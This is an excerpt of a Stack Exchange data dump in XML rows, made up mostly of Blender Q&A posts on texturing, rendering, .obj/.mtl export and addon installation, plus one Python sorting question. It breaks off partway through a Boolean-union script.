  <row Id="26071" PostTypeId="1" AcceptedAnswerId="26072" CreationDate="2015-02-20T17:00:32.807" Score="-3" ViewCount="5081" Body="&lt;p&gt;How could I sort a list with alpha-numeric items, in order ascending?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, the list &lt;code&gt;[ 'm 2.25', 'm 6.30', 'm 5', 'm 1']&lt;/code&gt; should become &lt;code&gt;['m 1','m 2.25', 'm 5', 'm 6.30']&lt;/code&gt;, when sorted.&lt;/p&gt;&#xA;" OwnerUserId="6426" LastEditorUserId="3078" LastEditDate="2015-02-20T17:44:45.670" LastActivityDate="2015-02-20T17:44:45.670" Title="How to sort a list with alpha-numeric items?" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="1" CommentCount="3" ClosedDate="2015-02-20T17:25:36.260" ContentLicense="CC BY-SA 3.0" />
  <row Id="26072" PostTypeId="2" ParentId="26071" CreationDate="2015-02-20T17:02:06.123" Score="5" Body="&lt;p&gt;You can use the &lt;code&gt;sorted&lt;/code&gt; function to sort a list, taken as an argument. This, however &lt;em&gt;returns a new&lt;/em&gt; list.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sorted([ 'm 2.25', 'm 6.30', 'm 5', 'm 1'])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you can use the &lt;code&gt;sort()&lt;/code&gt; function on a list, which sorts the list itself, without returning another one.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[ 'm 2.25', 'm 6.30', 'm 5', 'm 1'].sort()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3078" LastEditorUserId="3078" LastEditDate="2015-02-20T17:07:26.440" LastActivityDate="2015-02-20T17:07:26.440" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="26073" PostTypeId="2" ParentId="26068" CreationDate="2015-02-20T17:05:24.413" Score="2" Body="&lt;p&gt;Use loop cuts to manually subdivide the first time.  CTRL-R&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Start by making a certain number of loop cuts across the short side.  Just enough to know loop cuts on the long side will result in a square.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xy2i2.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then make the necessary loop cuts on the long side to complete the square (or close enough to it.  In this example, I only needed one more on the long side&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Zyg1u.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From there, you can subdivide normally and keep your square proportions.  If you really want to get perfect about it, and the dimensions of your plane are conducive to it, you could calculate the number of loop cuts needed by subdividing the dimensions of your plane mathmatically.  But usually not necessary.&lt;/p&gt;&#xA;" OwnerUserId="7826" LastActivityDate="2015-02-20T17:05:24.413" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26074" PostTypeId="1" CreationDate="2015-02-20T20:32:03.237" Score="1" ViewCount="319" Body="&lt;p&gt;I'm making a simple cuboidal room, but as soon as I solidify my mesh it gets weird black patches around the corners.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I turn fill rim to off it looks good, but obviously I want to fill the rims. I guess the normals are flipped or something leading to a lighting issue. It also persists in final rendered version &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;From outside&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notice the dark shade just above the 3D cursor&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Zijq7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;From inside&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Again above the 3d cursor&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/w9iUf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pasteall.org/blend/34574&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;File&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="11454" LastEditorUserId="12" LastEditDate="2015-02-21T07:09:52.250" LastActivityDate="2015-02-21T07:09:52.250" Title="Weird shading after using solidify modifier" Tags="&lt;modeling&gt;&lt;modifiers&gt;" AnswerCount="0" CommentCount="3" ClosedDate="2015-02-21T07:08:43.947" ContentLicense="CC BY-SA 3.0" />
  <row Id="26075" PostTypeId="2" ParentId="26023" CreationDate="2015-02-20T21:05:47.747" Score="4" Body="&lt;p&gt;If you activate 'Snap During Transform' as well as 'Align Rotation with Snapping Target', you can reproduce the behavior of Flow Along Surface's alternate mode.(The other mode being the one 'user:cegaton' showed)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tx2Up.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastActivityDate="2015-02-20T21:05:47.747" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26076" PostTypeId="1" AcceptedAnswerId="26083" CreationDate="2015-02-20T22:38:25.997" Score="2" ViewCount="1609" Body="&lt;p&gt;I'm making a Low poly model for videogame, but I got some problems on displaying 8bit alpha (partialy tranparent pixels) in material viewport in Blender 2.72b. Now in Blender 2.73a some of these bugs was fixed, that was great, but some other appeared too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Vlz72.jpg&quot; alt=&quot;8 bit alpha bugs in material viewport&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, the partially transparent pixels from the plane with a round ring texture of the goggles are clipping through the red lens that are right behind it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This bug doesn't occur while in edit mode. And this didn't happen in 2.72b.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And in the Left view (3rd frame), the light wire from his exoskeleton clip through the other wire from the other leg. But not viewing from the right view (4th frame).&#xA;and these occurs no mater the backface/normal direction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course none of these bugs are shown on render. But i was worried about porting these models for a game engine like Unity and get the same problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I need to worry about this on viewport? If yes. Is there a way to fix it?&lt;/p&gt;&#xA;" OwnerUserId="8232" LastEditorUserId="1363" LastEditDate="2015-02-20T22:59:30.520" LastActivityDate="2015-02-21T03:23:55.523" Title="Can I fix the alpha display problems on material viewport on new Blender 2.73?" Tags="&lt;materials&gt;&lt;3d-view&gt;&lt;transparency&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26077" PostTypeId="1" CreationDate="2015-02-20T23:10:35.813" Score="4" ViewCount="1269" Body="&lt;p&gt;This is my model in the solid view, we can see it is complete.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vV6Jb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but in the render view or in the final render it is clipped :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qRoed.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iruBe.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is my viewport clipping settings :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dGEFV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have added a cube to the object in edit mode ; the render shows me all the form but not the cube!!!! as you can see &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UECKy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to clarify:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I added to the object (in edit form) a cube and move it far away. Now the render shows all the form as if the new mesh is moving some clipping plane...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UGcQS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12718" LastEditorUserId="5113" LastEditDate="2015-02-21T14:10:24.337" LastActivityDate="2015-06-21T13:59:19.323" Title="There is a missing part at my object when I render in cycles" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;3d-view&gt;" AnswerCount="2" CommentCount="18" ClosedDate="2015-06-21T18:56:29.503" ContentLicense="CC BY-SA 3.0" />
  <row Id="26078" PostTypeId="2" ParentId="26077" CreationDate="2015-02-20T23:33:25.213" Score="2" Body="&lt;p&gt;I don't entirely understand what you were doing with the troubleshooting, but the problem may be the camera clipping.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the Properties Panel (&lt;kbd&gt;N&lt;/kbd&gt; while cursor is in 3D view) you can change the viewport clipping.&#xA;By selecting the camera and going to the camera properties you can change the camera clipping.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://dl.dropboxusercontent.com/u/76236043/imgs/Camera%20Clipping.PNG&quot; alt=&quot;Camera Clipping Image&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Increasing these values will allow more of the scene to be rendered.&lt;/p&gt;&#xA;" OwnerUserId="5505" LastEditorUserId="241" LastEditDate="2015-06-21T13:59:19.323" LastActivityDate="2015-06-21T13:59:19.323" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26079" PostTypeId="1" CreationDate="2015-02-21T00:36:50.727" Score="5" ViewCount="20171" Body="&lt;p&gt;I have a maze game in blender and to make the maze I subdivided a cube I flattened out and then selected some parts, extruded it, and raised it up. But, when I put in the texture, it didn't really work (see images). The walls were just lines. I really need to know how to fix that, even if it means that I don't see the texture the right way on the top. I just need the walls to look nice on the inside.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/935WL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PdlJu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12719" LastEditorUserId="12" LastEditDate="2015-02-21T04:14:25.103" LastActivityDate="2021-02-14T17:01:51.290" Title="Texture appears stretched on extruded sections of mesh" Tags="&lt;texturing&gt;&lt;uv&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26080" PostTypeId="2" ParentId="26079" CreationDate="2015-02-21T00:53:56.327" Score="6" Body="&lt;p&gt;This can happen for several reasons, the most common being that you modified the mesh &lt;em&gt;after&lt;/em&gt; initially adding the texture, hence the stretched look. A simple fix is to just unwrap the model &lt;em&gt;again&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;The fastest way to get a good result with a generic box model like that is to press &lt;kbd&gt;U&lt;/kbd&gt; &amp;gt; &lt;em&gt;Cube Projection&lt;/em&gt; or &lt;em&gt;Smart UV Project&lt;/em&gt; depending on how tiled you want certain subdivided parts to look (can read more and experiment with the unwrapping types &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Textures/Mapping/UV/Unwrapping&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;).&lt;/p&gt;&#xA;&lt;h2&gt;Extrusions after adding texture&lt;/h2&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/maUVc.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;h2&gt;Extrusions after &lt;em&gt;correcting&lt;/em&gt; using cube projection unwrapping&lt;/h2&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Y6QvI.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;h2&gt;Extrusions after &lt;em&gt;correcting&lt;/em&gt; using smart uv project&lt;/h2&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6c5eI.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-02-21T01:00:23.763" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26082" PostTypeId="1" AcceptedAnswerId="26085" CreationDate="2015-02-21T02:50:15.760" Score="0" ViewCount="945" Body="&lt;p&gt;Every time I have tried to enable the Cube Surfer addon but this error message comes up.&#xA;FYI I have the correct versions of everything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have had this problem with some other add ons as well. Sometimes it's when I have tried to click a button in an addon (after 'successfully' installing)&#xA;&lt;img src=&quot;https://i.stack.imgur.com/1kRLl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6189" LastEditorUserId="12" LastEditDate="2015-02-21T18:58:16.567" LastActivityDate="2015-02-21T18:58:16.567" Title="Trouble enabling Cube surfer addon" Tags="&lt;add-on&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26083" PostTypeId="2" ParentId="26076" CreationDate="2015-02-21T03:23:55.523" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Do I need to worry about this on viewport?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No, I don't think so. The external game engine will be using it's own rendering pipeline, so any problems with the rendering then will be a separate and unrelated issue (with the possible exception of a problem with the data itself, e.g. double faces resulting in Z fighting etc. However this doesn't seem like the case here).&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is there a way to fix it?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Try enabling &lt;em&gt;Transparent&lt;/em&gt; in &lt;em&gt;Properties &gt; Object &gt; Display&lt;/em&gt; on all the objects with transparency.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-02-21T03:23:55.523" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26084" PostTypeId="1" CreationDate="2015-02-21T04:57:02.300" Score="2" ViewCount="1598" Body="&lt;p&gt;I made a ragdoll that I would like to use in the Blender game engine. Right now it consists of six separate objects: a head, torso and four limbs. Each object has rigid body physics and the head and limbs have a rigid body hinge constraint, and child of constraint, connecting them to the torso. When I move the torso in object mode everything follows as it should, but when I run the game engine the head and limbs return to their original position. If I parent them directly they loose their physics. Is there any way to control my ragdoll with a single object so that I can translate/rotate it in object mode and yet have it behave correctly in the game engine?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;p.s. I am using an armature to control the skin of the ragdoll where each armature bone is constrained to the appropriate ragdoll object.          &lt;/p&gt;&#xA;" OwnerUserId="11269" LastActivityDate="2015-02-21T11:04:58.583" Title="Is it possible to parent an object and have the child retain its rigid body physics?" Tags="&lt;game-engine&gt;&lt;physics&gt;&lt;constraints&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26085" PostTypeId="2" ParentId="26082" CreationDate="2015-02-21T09:23:31.677" Score="4" Body="&lt;p&gt;Technically this is off-topic for blender.stackexchange but I expect several people will be interested and have trouble getting this addon working so I will add this info here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cube surfer is written in &lt;a href=&quot;http://cython.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;cython&lt;/a&gt; not python. The cython project is a kind of hybrid between C code and python code. You need to convert the .pyx file in CubeSurfer to a c file then compile it into a shared library. You will need to install cython and a compiler if you don't have them already.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a setup64.py to build it included with CubeSurfer, it is only setup for windows, for other platforms you will need to make some changes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have trouble building this you will need to ask for help on irc or &lt;a href=&quot;https://stackoverflow.com/&quot;&gt;stack.overflow&lt;/a&gt; or the &lt;a href=&quot;http://pyroevil.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;CubeSurfer developer&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It could be possible that builders may offer this addon pre-compiled with &lt;a href=&quot;http://graphicall.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;graphicall&lt;/a&gt; builds - there don't appear to be any yet.&lt;/p&gt;&#xA;" OwnerUserId="935" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:20.630" LastActivityDate="2015-02-21T09:23:31.677" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26086" PostTypeId="2" ParentId="18905" CreationDate="2015-02-21T09:28:05.433" Score="1" Body="&lt;p&gt;I found the same problem - anisotropic shaders, didn't work with Blender 2.73 on a project which I started on Blender 2.71. There is some kind of a mismatch whit Blender versions. Shaders worked properly when I deleted anisotropic nodes and added them again.&lt;/p&gt;&#xA;" OwnerUserId="12720" LastActivityDate="2015-02-21T09:28:05.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26087" PostTypeId="2" ParentId="26084" CreationDate="2015-02-21T11:04:58.583" Score="2" Body="&lt;p&gt;use the normal parenting in object mode &quot;Ctrl+P&quot; ,which will be neglected in the BGE  , and to add parent in the BGE use the &lt;strong&gt;Parent&lt;/strong&gt; actuator with an &lt;strong&gt;Always&lt;/strong&gt; sensor :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YIxeF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-02-21T11:04:58.583" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26088" PostTypeId="1" AcceptedAnswerId="26089" CreationDate="2015-02-21T11:13:16.473" Score="4" ViewCount="2950" Body="&lt;p&gt;I have a monkey had with a simple material:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/y5xnO.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/V8IrQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to export this to a .obj-file.&#xA;But it looks like this (opened in g3dviewer):&#xA;&lt;img src=&quot;https://i.stack.imgur.com/KpY8W.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to lighten up the .obj-file?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help?&lt;/p&gt;&#xA;" OwnerUserId="6445" LastEditorUserId="241" LastEditDate="2020-06-26T13:46:18.907" LastActivityDate="2020-06-26T13:46:18.907" Title=".obj-export is too dark" Tags="&lt;materials&gt;&lt;blender-internal-render-engine&gt;&lt;export&gt;&lt;obj&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26089" PostTypeId="2" ParentId="26088" CreationDate="2015-02-21T11:54:44.647" Score="2" Body="&lt;p&gt;As far as I know .obj files can't include lights, so you are left with manipulating the material. UV textures are supported though, so you could e.g. bake ambient occlusion or full lighting into a texture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Bake&quot; rel=&quot;nofollow&quot;&gt;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Bake&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11637" LastActivityDate="2015-02-21T11:54:44.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26090" PostTypeId="2" ParentId="26088" CreationDate="2015-02-21T11:55:28.357" Score="6" Body="&lt;p&gt;I think the problem here is that the light setup in Blender differs from the light setup in g3dviewer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you view your mesh in Solid display mode, Blender uses three directional (sun) lamps to illuminate the objects. You can find the settings of these lamps in the system tab of the user preferences:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EtPiR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The direction of these lamps is relative to your current view, so if you rotate your view around in the scene the lamps will rotate with you. This ensures a good illumination of all objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are in g3dviewer you have to replicate the light setup to get the same results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are still in doubt about the exportet material have a look at the .mtl file that is written with the .obj. It contains the materials of the meshes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take this simple red material for example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3agRR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the .mtl file it looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;newmtl Material&#xA;Ns 96.078431&#xA;Ka 0.000000 0.000000 0.000000&#xA;Kd 0.640000 0.000000 0.000000&#xA;Ks 0.500000 0.500000 0.500000&#xA;Ni 1.000000&#xA;d 1.000000&#xA;illum 2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The line starting with &lt;code&gt;Ns&lt;/code&gt; contains the specular exponent of the material. In Blender the range of the specular exponent (called Hardness here) is 0 to 511, while in .mtl the range is 0 to 1000. Exept for a rounding error '96/1000' is equal to '50/511'. This is how the specular exponent gets translated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The next line &lt;code&gt;Ka&lt;/code&gt; contains the ambient color. Blender does not have per-object ambient color. You can find the ambient color for all objects in the world settings. It is set to black by default, thus the red, green and blue component of the ambient color are zero.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The third line gets more interesting: &lt;code&gt;Kd&lt;/code&gt; describes the diffuse color. But while in Blender you can set the color value and the intensity separately, they are multiplied in the .mtl file. If you have a look at the screenshot, the red value of the color and the intensity value both are 0.8. Thus the red value in the .mtl file is &lt;code&gt;0.8*0.8 = 0.64&lt;/code&gt;. Green and blue are 0 in blender, so they are also zero in the .mtl file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next is the specular color &lt;code&gt;Ks&lt;/code&gt;. It works similarly to the diffuse color. The specular color in blender is white (1.0 in all channels) and the specular intensity in Blender is 0.5, so the resulting color in the .mtl file is 0.5 for red, green and blue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The value &lt;code&gt;Ni&lt;/code&gt; is the so-called 'Index of refraction' (IOR). It is set in the transparency settings of the Blender material and describes how strongly light is bent when it passes through the boundary between transparent materials (i.e. air and glass). Since I have not touched the transparency it contains the default value of 1.0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;d&lt;/code&gt; is short for dissolve. This value is called Alpha in Blender and represents the opacity of the object. A value of 1.0 means that the object is completely opaque, a value of 0.0 would mean that it is completely transparent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The number after &lt;code&gt;illum&lt;/code&gt; encodes the illumination model used for the current material. You can find a list of all illumination models and their corresponding numbers in the link at the end of my answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With this information you should be able to verify if Blender exports your materials correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find a complete description of the .mtl format &lt;a href=&quot;http://paulbourke.net/dataformats/mtl/&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3089" LastEditorUserId="3089" LastEditDate="2015-02-21T13:06:00.397" LastActivityDate="2015-02-21T13:06:00.397" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26091" PostTypeId="1" CreationDate="2015-02-21T13:23:56.027" Score="0" ViewCount="692" Body="&lt;p&gt;This is the error message I get every time I try to enable the cube surfer addon:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/H790Y.png&quot; alt=&quot;error message&quot;&gt;&#xA;What am I doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="12723" LastEditorUserId="2217" LastEditDate="2015-02-21T13:45:30.497" LastActivityDate="2015-02-21T15:52:27.267" Title="Unable to install cube surfer addon by PyroEvil" Tags="&lt;add-on&gt;&lt;installation&gt;" AnswerCount="1" CommentCount="1" ClosedDate="2015-02-21T18:58:07.507" ContentLicense="CC BY-SA 3.0" />
  <row Id="26093" PostTypeId="2" ParentId="26091" CreationDate="2015-02-21T15:44:39.357" Score="0" Body="&lt;p&gt;It should be an OS-related issue. this addon requires some higher Visual Studio Redistributable version installed, like &lt;a href=&quot;http://www.microsoft.com/en-us/search/Results.aspx?q=Microsoft%20Visual%20C%2B%2B%202010%20Redistributable&amp;amp;form=DLC&quot; rel=&quot;nofollow&quot;&gt;2010&lt;/a&gt; or &lt;a href=&quot;http://www.microsoft.com/en-us/download/details.aspx?id=30679&quot; rel=&quot;nofollow&quot;&gt;2012&lt;/a&gt;. Then restart Blender, enable the addon again.&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2015-02-21T15:52:27.267" LastActivityDate="2015-02-21T15:52:27.267" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26094" PostTypeId="2" ParentId="23183" CreationDate="2015-02-21T16:04:03.453" Score="5" Body="&lt;p&gt;A new &lt;a href=&quot;https://developer.blender.org/rBdf07a25&quot; rel=&quot;noreferrer&quot;&gt;2.74 feature&lt;/a&gt; allows controlling texture mapping by object, which may also be a choice:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Use &lt;strong&gt;Object&lt;/strong&gt; coordinate for mapping, an empty object as the coordinate controller;&lt;/li&gt;&#xA;&lt;li&gt;Assign the same material to both tube and sphere.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uSFq3.jpg&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/11Lxo.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; Since this is a new feature that will be officially released with the coming 2.74 version, you may have to compile your own build, or download any of the daily builds from &lt;a href=&quot;https://builder.blender.org/download/&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="696" LastActivityDate="2015-02-21T16:04:03.453" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26096" PostTypeId="1" AcceptedAnswerId="26097" CreationDate="2015-02-21T17:39:04.187" Score="5" ViewCount="2567" Body="&lt;p&gt;what is the most accurate way to get the full path for a value so I can use it in a single property drivers.&lt;/p&gt;&#xA;" OwnerUserId="5794" LastEditorUserId="2217" LastEditDate="2015-02-21T19:13:05.653" LastActivityDate="2015-02-21T19:13:05.653" Title="What is the most accurate way to get the data path for a value?" Tags="&lt;path&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26097" PostTypeId="2" ParentId="26096" CreationDate="2015-02-21T17:46:17.320" Score="4" Body="&lt;p&gt;I prefer to use the outliner to find the data paths of variables. If you set the outliner type to 'Datablocks' you can see the whole RNA structure of the current Blender file. If you hover with your mouse over a property Blender will show you how you can access it using the python API:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PdoO9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3089" LastActivityDate="2015-02-21T17:46:17.320" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26098" PostTypeId="1" AcceptedAnswerId="31617" CreationDate="2015-02-21T18:01:14.947" Score="3" ViewCount="1611" Body="&lt;p&gt;I have a simple script which performs Boolean union on multiple meshes.&#xA;I can manually trace modifier errors in the console and exclude meshes which leads to union artifacts. Here's the script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;import bpy&#xA;wm = bpy.context.window_manager&#xA;act_obj = bpy.context.active_object&#xA;union_list = []&#xA;for sel_obj in bpy.context.selected_objects:&#xA;    if sel_obj.type == 'MESH':&#xA;        if sel_obj != act_obj:&#xA;            bpy.ops.object.modifier_add(type=&quot;BOOLEAN&quot;)&#xA;            union_list.append(sel_obj)&#xA;&#xA;k=0&#xA;union_list_len = len(union_list)&#xA;wm.progress_begin(0, union_list_len)&#xA;&#xA;for mod in act_obj.modifiers:&#xA;    if mod.type == &quot;BOOLEAN&quot;:&#xA;        print(k,union_list_len,union_list[k].name)&#xA;        wm.progress_update(k)&#xA;        mod.operation = &quot;UNION&quot;&#xA;        mod.object = union_list[k]&#xA;        bpy.ops.object.modifier_apply(modifier=mod.name)&#xA;        k=k+1&#xA;act_obj.select = 